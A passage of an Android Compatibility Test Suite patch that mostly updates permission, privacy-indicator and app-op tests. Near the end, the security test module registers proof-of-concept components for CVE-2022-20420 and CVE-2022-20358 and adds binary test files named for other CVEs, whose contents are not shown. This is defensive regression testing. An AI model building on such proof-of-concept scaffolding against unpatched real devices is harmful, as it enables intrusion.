@@ -23,7 +23,6 @@ import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
import static android.app.AppOpsManager.OP_FLAGS_ALL_TRUSTED;
import static android.content.Context.BIND_AUTO_CREATE;
import static android.content.Context.BIND_NOT_FOREGROUND;
-import static android.content.Intent.ACTION_BOOT_COMPLETED;
import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
import static android.location.Criteria.ACCURACY_FINE;
import static android.os.Process.myUserHandle;
@@ -41,7 +40,6 @@ import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
@@ -120,6 +118,8 @@ public class LocationAccessCheckTest {
"/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk";
private static final String TEST_APP_LOCATION_FG_ACCESS_APK =
"/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk";
+ private static final String ACTION_SET_UP_LOCATION_ACCESS_CHECK =
+ "com.android.permissioncontroller.action.SET_UP_LOCATION_ACCESS_CHECK";
private static final int LOCATION_ACCESS_CHECK_JOB_ID = 0;
private static final int LOCATION_ACCESS_CHECK_NOTIFICATION_ID = 0;
@@ -153,6 +153,10 @@ public class LocationAccessCheckTest {
private static final String PERMISSION_CONTROLLER_PKG = sContext.getPackageManager()
.getPermissionControllerPackageName();
+ private static final String LocationAccessCheckOnBootReceiver =
+ "com.android.permissioncontroller.permission.service"
+ + ".LocationAccessCheck$SetupPeriodicBackgroundLocationAccessCheck";
+
/**
* The result of {@link #assumeCanGetFineLocation()}, so we don't have to run it over and over
@@ -389,6 +393,11 @@ public class LocationAccessCheckTest {
* Force a run of the location check.
*/
private static void runLocationCheck() throws Throwable {
+ // If the job isn't setup, do it before running a location check
+ if (!isLocationAccessJobSetup(myUserHandle().getIdentifier())) {
+ setupLocationAccessCheckJob();
+ }
+
// Sleep a little bit to make sure we don't have overlap in timing
Thread.sleep(1000);
@@ -676,36 +685,45 @@ public class LocationAccessCheckTest {
}
}, UNEXPECTED_TIMEOUT_MILLIS);
- // Setup up permission controller again (simulate a reboot)
- Intent permissionControllerSetupIntent = null;
- for (ResolveInfo ri : sContext.getPackageManager().queryBroadcastReceivers(
- new Intent(ACTION_BOOT_COMPLETED), 0)) {
- String pkg = ri.activityInfo.packageName;
-
- if (pkg.equals(PERMISSION_CONTROLLER_PKG)) {
- permissionControllerSetupIntent = new Intent()
- .setClassName(pkg, ri.activityInfo.name)
- .setFlags(FLAG_RECEIVER_FOREGROUND)
- .setPackage(PERMISSION_CONTROLLER_PKG);
-
- sContext.sendBroadcast(permissionControllerSetupIntent);
- }
- }
+ setupLocationAccessCheckJob();
// Wait until jobs are set up
eventually(() -> {
- JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+ assertTrue("LocationAccessCheck job not found",
+ isLocationAccessJobSetup(currentUserId));
+ }, UNEXPECTED_TIMEOUT_MILLIS);
+ }
- for (RegisteredJob job : dump.registeredJobs) {
- if (job.dump.sourceUserId == currentUserId
- && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)
- && job.dump.jobInfo.service.className.contains("LocationAccessCheck")) {
- return;
- }
+ private static boolean isLocationAccessJobSetup(int currentUserId) throws Exception {
+ JobSchedulerServiceDumpProto dump = getJobSchedulerDump();
+ for (RegisteredJob job : dump.registeredJobs) {
+ if (job.dump.sourceUserId == currentUserId
+ && job.dump.sourcePackageName.equals(PERMISSION_CONTROLLER_PKG)
+ && job.dump.jobInfo.service.className.contains("LocationAccessCheck")) {
+ return true;
}
-
- fail("Permission controller jobs not found");
- }, UNEXPECTED_TIMEOUT_MILLIS);
+ }
+ return false;
+ }
+
+ private static void setupLocationAccessCheckJob() {
+ // Setup location access check
+ Intent permissionControllerSetupIntent = new Intent(
+ ACTION_SET_UP_LOCATION_ACCESS_CHECK).setPackage(
+ PERMISSION_CONTROLLER_PKG).setFlags(FLAG_RECEIVER_FOREGROUND);
+
+ // Query for the setup broadcast receiver
+ List<ResolveInfo> resolveInfos = sContext.getPackageManager().queryBroadcastReceivers(
+ permissionControllerSetupIntent, 0);
+
+ if (resolveInfos.size() > 0) {
+ sContext.sendBroadcast(permissionControllerSetupIntent);
+ } else {
+ sContext.sendBroadcast(new Intent()
+ .setClassName(PERMISSION_CONTROLLER_PKG, LocationAccessCheckOnBootReceiver)
+ .setFlags(FLAG_RECEIVER_FOREGROUND)
+ .setPackage(PERMISSION_CONTROLLER_PKG));
+ }
}
/**
diff --git a/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java b/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java
index 3ee161f67e0..88006b999a7 100644
--- a/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java
@@ -151,6 +151,25 @@ public class NotificationListenerCheckTest extends BaseNotificationListenerCheck
}
@Test
+ public void notificationIsShownAgainAfterDisableAndReenableAppNotificationListener()
+ throws Throwable {
+ runNotificationListenerCheck();
+
+ eventually(() -> assertNotNull(getNotification(true)), UNEXPECTED_TIMEOUT_MILLIS);
+
+ // Disallow NLS, and run NLS check job. This should clear NLS off notified list
+ disallowTestAppNotificationListenerService();
+ runNotificationListenerCheck();
+
+ // Re-allow NLS, and run NLS check job. This work now that it's cleared NLS off notified
+ // list
+ allowTestAppNotificationListenerService();
+ runNotificationListenerCheck();
+
+ eventually(() -> assertNotNull(getNotification(true)), UNEXPECTED_TIMEOUT_MILLIS);
+ }
+
+ @Test
public void removeNotificationOnUninstall() throws Throwable {
runNotificationListenerCheck();
diff --git a/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt b/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt
index f057b21a849..7514079bfc3 100644
--- a/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt
+++ b/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt
@@ -67,7 +67,7 @@ object SafetyCenterUtils {
@JvmStatic
fun assertSafetyCenterStarted() {
// CollapsingToolbar title can't be found by text, so using description instead.
- waitFindObject(By.desc("Security & Privacy"))
+ waitFindObject(By.desc("Security & privacy"))
}
@JvmStatic
@@ -88,6 +88,16 @@ object SafetyCenterUtils {
}
@JvmStatic
+ fun deleteDeviceConfigPrivacyProperty(
+ propertyName: String,
+ uiAutomation: UiAutomation = instrumentation.uiAutomation
+ ) {
+ runWithShellPermissionIdentity(uiAutomation) {
+ DeviceConfig.deleteProperty(DeviceConfig.NAMESPACE_PRIVACY, propertyName)
+ }
+ }
+
+ @JvmStatic
private fun getSafetyCenterIssues(
automation: UiAutomation = instrumentation.uiAutomation
): List<SafetyCenterIssue> {
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 162f66aea4b..1c9dc6317a6 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -6462,6 +6462,13 @@
<permission android:name="android.permission.SET_UNRESTRICTED_KEEP_CLEAR_AREAS"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an app to set gesture exclusion without restrictions on the vertical extent of the
+ exclusions (see {@link android.view.View#setSystemGestureExclusionRects}).
+ @hide
+ -->
+ <permission android:name="android.permission.SET_UNRESTRICTED_GESTURE_EXCLUSION"
+ android:protectionLevel="signature|privileged|recents" />
+
<!-- Allows an UID to be visible to the application based on an interaction between the
two apps. This permission is not intended to be held by apps.
@hide @TestApi -->
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index edfcf3a9291..ca4794dbe0c 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -71,6 +71,9 @@ public class PermissionPolicyTest {
private static final String MANAGE_COMPANION_DEVICES_PERMISSION
= "android.permission.MANAGE_COMPANION_DEVICES";
+ private static final String SET_UNRESTRICTED_GESTURE_EXCLUSION
+ = "android.permission.SET_UNRESTRICTED_GESTURE_EXCLUSION";
+
private static final String LOG_TAG = "PermissionProtectionTest";
private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -475,6 +478,8 @@ public class PermissionPolicyTest {
return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
case MANAGE_COMPANION_DEVICES_PERMISSION:
return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+ case SET_UNRESTRICTED_GESTURE_EXCLUSION:
+ return true;
default:
return false;
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt
index 6693aa325e3..8bd15373101 100644
--- a/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/MediaPermissionTest.kt
@@ -20,6 +20,7 @@ import android.Manifest
import android.os.Build
import androidx.test.filters.SdkSuppress
import com.android.compatibility.common.util.SystemUtil
+import org.junit.Assume
import org.junit.Test
/**
@@ -96,6 +97,8 @@ class MediaPermissionTest : BaseUsePermissionTest() {
@Test
fun testWhenVisualIsDeniedManuallyThenShouldDenyAllPermissions() {
+ // TODO: Re-enable after b/239249703 is fixed
+ Assume.assumeFalse("skip on TV due to flaky", isTv)
installPackage(APP_APK_PATH_23)
grantAppPermissions(android.Manifest.permission.READ_MEDIA_VIDEO, targetSdk = 23)
revokeAppPermissions(android.Manifest.permission.READ_MEDIA_VIDEO, targetSdk = 23)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt
index 31e544951b5..367ae31fab2 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionAttributionTest.kt
@@ -22,13 +22,11 @@ import android.content.ComponentName
import android.content.Intent
import android.location.LocationManager
import android.os.Build
-import android.provider.DeviceConfig
import android.support.test.uiautomator.By
import androidx.test.filters.SdkSuppress
import com.android.compatibility.common.util.AppOpsUtils.setOpMode
import com.android.compatibility.common.util.CtsDownstreamingTest
import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
-import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
import org.junit.After
import org.junit.Assert.assertEquals
import org.junit.Assert.assertTrue
@@ -47,7 +45,6 @@ class PermissionAttributionTest : BasePermissionHubTest() {
private val micLabel = packageManager.getPermissionGroupInfo(
android.Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
val locationManager = context.getSystemService(LocationManager::class.java)!!
- private var wasEnabled = false
@Before
fun installAppLocationProviderAndAllowMockLocation() {
@@ -63,15 +60,11 @@ class PermissionAttributionTest : BasePermissionHubTest() {
setOpMode(
context.packageName, AppOpsManager.OPSTR_MOCK_LOCATION, AppOpsManager.MODE_ALLOWED
)
- wasEnabled = setSubattributionEnabledStateIfNeeded(true)
}
@After
fun teardown() {
locationManager.removeTestProvider(APP_PACKAGE_NAME)
- if (!wasEnabled) {
- setSubattributionEnabledStateIfNeeded(false)
- }
}
@Test
@@ -115,24 +108,10 @@ class PermissionAttributionTest : BasePermissionHubTest() {
assertEquals(Activity.RESULT_OK, result.resultCode)
}
- private fun setSubattributionEnabledStateIfNeeded(shouldBeEnabled: Boolean): Boolean {
- var currentlyEnabled = false
- runWithShellPermissionIdentity {
- currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
- FLAG_SUBATTRIBUTION, false)
- if (currentlyEnabled != shouldBeEnabled) {
- DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, FLAG_SUBATTRIBUTION,
- shouldBeEnabled.toString(), false)
- }
- }
- return currentlyEnabled
- }
-
companion object {
const val APP_APK_PATH = "$APK_DIRECTORY/CtsAccessMicrophoneAppLocationProvider.apk"
const val APP_PACKAGE_NAME = "android.permission3.cts.accessmicrophoneapplocationprovider"
const val APP_LABEL = "LocationProviderWithMicApp"
const val ATTRIBUTION_LABEL = "Attribution Label"
- const val FLAG_SUBATTRIBUTION = "permissions_hub_subattribution_enabled"
}
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
index 5355fdc6860..9e8b3a053eb 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionHistoryTest.kt
@@ -28,8 +28,8 @@ import com.android.modules.utils.build.SdkLevel
import org.junit.After
import org.junit.Assume.assumeFalse
import org.junit.Before
-import org.junit.Ignore
import org.junit.Test
+import java.util.regex.Pattern
private const val APP_LABEL_1 = "CtsMicAccess"
private const val APP_LABEL_2 = "CtsMicAccess2"
@@ -42,14 +42,14 @@ private const val SHOW_SYSTEM = "Show system"
private const val SHOW_7_DAYS = "Show 7 days"
private const val SHOW_24_HOURS = "Show 24 hours"
private const val MORE_OPTIONS = "More options"
-private const val TIMELINE_7_DAYS_DESCRIPTION = "in the past 7 days"
-private const val DASHBOARD_7_DAYS_DESCRIPTION = "7 days"
+private const val DASHBOARD_7_DAYS_DESCRIPTION_REGEX = "^.*7.*days$"
private const val PRIV_DASH_7_DAY_ENABLED = "privacy_dashboard_7_day_toggle"
+private const val REFRESH = "Refresh"
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
class PermissionHistoryTest : BasePermissionHubTest() {
private val micLabel = packageManager.getPermissionGroupInfo(
- Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
+ Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
private var was7DayToggleEnabled = false
// Permission history is not available on TV devices.
@@ -100,15 +100,27 @@ class PermissionHistoryTest : BasePermissionHubTest() {
waitFindObject(By.textContains(APP_LABEL_1))
openPermissionDashboard()
- waitFindObject(By.res("android:id/title").textContains("Microphone")).click()
- waitFindObject(By.textContains(micLabel))
- waitFindObject(By.textContains(APP_LABEL_1))
+
+ SystemUtil.eventually {
+ try {
+ waitFindObject(By.hasChild(By.textContains("Microphone"))
+ .hasChild(By.textStartsWith("Used by")))
+ .click()
+ waitFindObject(By.textContains(micLabel))
+ waitFindObject(By.textContains(APP_LABEL_1))
+ } catch (e: Exception) {
+ // Sometimes the dashboard was in the state from previous failed tests.
+ // Clicking the refresh button to get the most recent access.
+ waitFindObject(By.descContains(REFRESH)).click()
+ throw e
+ }
+ }
+
pressBack()
pressBack()
}
@Test
- @Ignore
fun testToggleSystemApps() {
// I had some hard time mocking a system app.
// Hence here I am only testing if the toggle is there.
@@ -121,10 +133,18 @@ class PermissionHistoryTest : BasePermissionHubTest() {
// Auto doesn't show the "Show system" action when it is disabled. If a system app ends up
// being installed for this test, then the Auto logic should be tested too.
if (!isAutomotive) {
- val menuView = waitFindObject(By.descContains(MORE_OPTIONS))
- menuView.click()
-
- waitFindObject(By.text(SHOW_SYSTEM))
+ SystemUtil.eventually {
+ try {
+ val menuView = waitFindObject(By.descContains(MORE_OPTIONS))
+ menuView.click()
+ waitFindObject(By.text(SHOW_SYSTEM))
+ } catch (e: Exception) {
+ // Sometimes the dashboard was in the state from previous failed tests.
+ // Clicking the refresh button to get the most recent access.
+ waitFindObject(By.descContains(REFRESH)).click()
+ throw e
+ }
+ }
}
pressBack()
@@ -152,14 +172,24 @@ class PermissionHistoryTest : BasePermissionHubTest() {
waitFindObject(By.text(SHOW_7_DAYS)).click()
}
- waitFindObject(By.res("android:id/title").textContains("Microphone"))
- waitFindObject(By.textContains(DASHBOARD_7_DAYS_DESCRIPTION))
+ SystemUtil.eventually {
+ try {
+ waitFindObject(By.hasChild(By.textContains("Microphone"))
+ .hasChild(By.textStartsWith("Used by")))
+ } catch (e: Exception) {
+ // Sometimes the dashboard was in the state from previous failed tests.
+ // Clicking the refresh button to get the most recent access.
+ waitFindObject(By.descContains(REFRESH)).click()
+ throw e
+ }
+ }
+
+ waitFindObject(By.text(Pattern.compile(DASHBOARD_7_DAYS_DESCRIPTION_REGEX, Pattern.DOTALL)))
pressBack()
}
@Test
- @Ignore
fun testToggleFrom24HoursTo7DaysInTimeline() {
// Auto doesn't support the 7 day view
assumeFalse(isAutomotive)
@@ -182,13 +212,12 @@ class PermissionHistoryTest : BasePermissionHubTest() {
waitFindObject(By.descContains(micLabel))
waitFindObject(By.textContains(APP_LABEL_1))
- waitFindObject(By.textContains(TIMELINE_7_DAYS_DESCRIPTION))
+ waitFindObject(By.text(Pattern.compile(DASHBOARD_7_DAYS_DESCRIPTION_REGEX, Pattern.DOTALL)))
pressBack()
}
@Test
- @Ignore
fun testMicrophoneTimelineWithOneApp() {
openMicrophoneApp(INTENT_ACTION_1)
waitFindObject(By.textContains(APP_LABEL_1))
@@ -204,7 +233,6 @@ class PermissionHistoryTest : BasePermissionHubTest() {
}
@Test
- @Ignore
fun testCameraTimelineWithMultipleApps() {
openMicrophoneApp(INTENT_ACTION_1)
waitFindObject(By.textContains(APP_LABEL_1))
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 90e613db5f1..d5bd49bdf37 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -37,7 +37,6 @@ import android.support.test.uiautomator.BySelector
import android.support.test.uiautomator.StaleObjectException
import android.support.test.uiautomator.UiDevice
import android.support.test.uiautomator.UiObject2
-import android.support.test.uiautomator.UiScrollable
import android.support.test.uiautomator.UiSelector
import androidx.annotation.RequiresApi
import androidx.test.filters.SdkSuppress
@@ -79,6 +78,8 @@ private const val IDLE_TIMEOUT_MILLIS: Long = 1000
private const val UNEXPECTED_TIMEOUT_MILLIS = 1000
private const val TIMEOUT_MILLIS: Long = 20000
private const val TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator"
+private const val MIC_LABEL_NAME = "microphone_toggle_label_qs"
+private const val CAMERA_LABEL_NAME = "camera_toggle_label_qs"
class CameraMicIndicatorsPermissionTest {
private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
@@ -91,11 +92,9 @@ class CameraMicIndicatorsPermissionTest {
private val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
private val isCar = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+ private val micLabel = getPermissionControllerString(MIC_LABEL_NAME)
+ private val cameraLabel = getPermissionControllerString(CAMERA_LABEL_NAME)
private var wasEnabled = false
- private val micLabel = packageManager.getPermissionGroupInfo(
- Manifest.permission_group.MICROPHONE, 0).loadLabel(packageManager).toString()
- private val cameraLabel = packageManager.getPermissionGroupInfo(
- Manifest.permission_group.CAMERA, 0).loadLabel(packageManager).toString()
private var isScreenOn = false
private var screenTimeoutBeforeTest: Long = 0L
@@ -298,7 +297,7 @@ class CameraMicIndicatorsPermissionTest {
// indicator
uiDevice.openQuickSettings()
assertPrivacyChipAndIndicatorsPresent(
- useMic || useHotword,
+ useMic,
useCamera,
chainUsage,
safetyCenterEnabled
@@ -393,11 +392,13 @@ class CameraMicIndicatorsPermissionTest {
chainUsage: Boolean,
safetyCenterEnabled: Boolean = false
) {
- // Ensure the privacy chip is present
- eventually {
- val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
- assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists())
- privacyChip.click()
+ // Ensure the privacy chip is present (or not)
+ val chipFound = isChipPresent()
+ if (useMic || useCamera) {
+ assertTrue("Did not find chip", chipFound)
+ } else { // hotword
+ assertFalse("Found chip, but did not expect to", chipFound)
+ return
}
eventually {
@@ -455,8 +456,6 @@ class CameraMicIndicatorsPermissionTest {
}
if (safetyCenterEnabled) {
- val appView = UiScrollable(UiSelector().scrollable(true))
- appView.scrollIntoView(UiSelector().resourceId(SAFETY_CENTER_ITEM_ID))
var micView = waitFindObjectOrNull(By.text(micLabel))
assertNotNull("View with text $micLabel not found", micView)
var camView = waitFindObjectOrNull(By.text(cameraLabel))
@@ -473,6 +472,21 @@ class CameraMicIndicatorsPermissionTest {
}
}
+ private fun isChipPresent(): Boolean {
+ var chipFound = false
+ try {
+ eventually {
+ val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
+ assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
+ privacyChip.click()
+ chipFound = true
+ }
+ } catch (e: Exception) {
+ // Handle more gracefully after
+ }
+ return chipFound
+ }
+
private fun pressBack() {
uiDevice.pressBack()
waitForIdle()
@@ -523,4 +537,18 @@ class CameraMicIndicatorsPermissionTest {
automatorMethod(remainingTime)
}
}
+
+ private fun getPermissionControllerString(resourceName: String): String {
+ val permissionControllerPkg = context.packageManager.permissionControllerPackageName
+ try {
+ val permissionControllerContext =
+ context.createPackageContext(permissionControllerPkg, 0)
+ val resourceId =
+ permissionControllerContext.resources.getIdentifier(
+ resourceName, "string", "com.android.permissioncontroller")
+ return permissionControllerContext.getString(resourceId)
+ } catch (e: PackageManager.NameNotFoundException) {
+ throw RuntimeException(e)
+ }
+ }
} \ No newline at end of file
diff --git a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
index 8cff38a67a9..67fa1bc3207 100644
--- a/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
+++ b/tests/tests/permission5/src/android/permission5/cts/RuntimePermissionsAppOpTrackingTest.kt
@@ -25,6 +25,7 @@ import android.content.Context
import android.content.ContextParams
import android.content.Intent
import android.content.pm.PackageManager.FEATURE_LEANBACK
+import android.content.pm.PackageManager.FEATURE_TELEPHONY
import android.net.Uri
import android.os.Bundle
import android.os.Process
@@ -44,6 +45,7 @@ import com.android.compatibility.common.util.SystemUtil
import com.google.common.truth.Truth.assertThat
import org.junit.After
import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
import org.junit.Before
import org.junit.Test
import org.mockito.ArgumentMatcher
@@ -105,6 +107,7 @@ class RuntimePermissionsAppOpTrackingTest {
@Throws(Exception::class)
fun testSelfSmsAccess() {
assumeNotTv()
+ assumeHasTelephony()
testSelfAccess(Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
}
@@ -178,6 +181,7 @@ class RuntimePermissionsAppOpTrackingTest {
@Throws(Exception::class)
fun testUntrustedSmsAccessAttributeToAnother() {
assumeNotTv()
+ assumeHasTelephony()
testUntrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
}
@@ -225,6 +229,7 @@ class RuntimePermissionsAppOpTrackingTest {
@Throws(Exception::class)
fun testUntrustedSmsAccessAttributeToAnotherThroughIntermediary() {
assumeNotTv()
+ assumeHasTelephony()
testUntrustedAccessAttributeToAnotherThroughIntermediary(
Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
@@ -323,6 +328,7 @@ class RuntimePermissionsAppOpTrackingTest {
@Throws(Exception::class)
fun testTrustedAccessSmsAttributeToAnother() {
assumeNotTv()
+ assumeHasTelephony()
testTrustedAccessAttributeToAnother(Telephony.Sms.CONTENT_URI,
Manifest.permission.READ_SMS)
}
@@ -666,6 +672,7 @@ class RuntimePermissionsAppOpTrackingTest {
get() = InstrumentationRegistry.getInstrumentation()
private val isTv = context.packageManager.hasSystemFeature(FEATURE_LEANBACK)
+ private val isTel = context.packageManager.hasSystemFeature(FEATURE_TELEPHONY)
fun ensureAuxiliaryAppsNotRunningAndNoResidualProcessState() {
SystemUtil.runShellCommand("am force-stop $RECEIVER_PACKAGE_NAME")
@@ -1178,5 +1185,6 @@ class RuntimePermissionsAppOpTrackingTest {
}
private fun assumeNotTv() = assumeFalse(isTv)
+ private fun assumeHasTelephony() = assumeTrue(isTel)
}
}
diff --git a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
index 29cf672a829..782f30c6508 100644
--- a/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
+++ b/tests/tests/preference/src/android/preference/cts/PreferenceActivityLegacyFlowTest.java
@@ -103,7 +103,8 @@ public class PreferenceActivityLegacyFlowTest {
}
private void assertScreenshotsAreEqual(Bitmap before, Bitmap after) {
- assertTrue("Screenshots do not match!", BitmapUtils.compareBitmaps(before, after));
+ // TODO(b/227553681): remove the precision=0.99 arg so it does a pixel-by-pixel check
+ assertTrue("Screenshots do not match!", BitmapUtils.compareBitmaps(before, after, 0.99));
}
private void assertTextShown(String text) {
diff --git a/tests/tests/provider/OWNERS b/tests/tests/provider/OWNERS
index 1e318ea0d73..7c9a6b2adaf 100644
--- a/tests/tests/provider/OWNERS
+++ b/tests/tests/provider/OWNERS
@@ -1,7 +1,13 @@
-# Bug component: 655625
-
-include platform/frameworks/base:/core/java/android/os/storage/OWNERS
-
tgunn@google.com
nicksauer@google.com
nona@google.com
+
+# Storage team ownership
+
+# Bug component: 655625 = per-file *MediaStore*
+
+per-file *MediaStore* = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file Android.bp = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file AndroidManifest.xml = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file AndroidTest.xml = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
+per-file OWNERS = file:platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
index d51c54025e7..88f45e2877a 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Images_MediaTest.java
@@ -371,6 +371,7 @@ public class MediaStore_Images_MediaTest {
private File copyResourceToFile(int sourceResId, File destinationDir,
String destinationFileName) throws Exception {
final File file = new File(destinationDir, destinationFileName);
+ destinationDir.mkdirs();
file.createNewFile();
try (InputStream source = InstrumentationRegistry.getTargetContext().getResources()
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 00a1e371746..0cf3dd54c6b 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -35,6 +35,7 @@ android_test {
"platform-test-annotations",
"sts-device-util",
"hamcrest-library",
+ "NeneInternal",
],
libs: [
"android.test.runner",
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 186c5e2ab7b..2c5e2482754 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -201,6 +201,34 @@
</intent-filter>
</activity>
+ <receiver android:name="android.security.cts.CVE_2022_20420.PocDeviceAdminReceiver"
+ android:exported="true"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_admin_CVE_2022_20420" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
+ <activity android:name="android.security.cts.ActivityManagerTest$ActivityOptionsActivity" />
+ <activity android:name="android.security.cts.ActivityManagerTest$BaseActivity" />
+
+ <provider android:name="android.security.cts.CVE_2022_20358.PocContentProvider"
+ android:authorities="android.security.cts.CVE_2022_20358.provider"
+ android:enabled="true"
+ android:exported="true" />
+
+ <service android:name="android.security.cts.CVE_2022_20358.PocSyncService"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.content.SyncAdapter" />
+ </intent-filter>
+ <meta-data android:name="android.content.SyncAdapter"
+ android:resource="@xml/syncadapter" />
+ </service>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
index b9694c32af7..24e55c5cc79 100644
--- a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -22,4 +22,5 @@ interface IBitmapService {
int getAllocationSize(in BitmapWrapper bitmap);
boolean didReceiveBitmap(in BitmapWrapper bitmap);
boolean ping();
+ void exit();
}
diff --git a/tests/tests/security/res/raw/cve_2022_22083.ape b/tests/tests/security/res/raw/cve_2022_22083.ape
new file mode 100644
index 00000000000..05d6d730cfa
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22083.ape
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22084.qcp b/tests/tests/security/res/raw/cve_2022_22084.qcp
new file mode 100644
index 00000000000..c41d21ec9ff
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22084.qcp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2022_22085.dts b/tests/tests/security/res/raw/cve_2022_22085.dts
new file mode 100644
index 00000000000..3a886317ae8
--- /dev/null
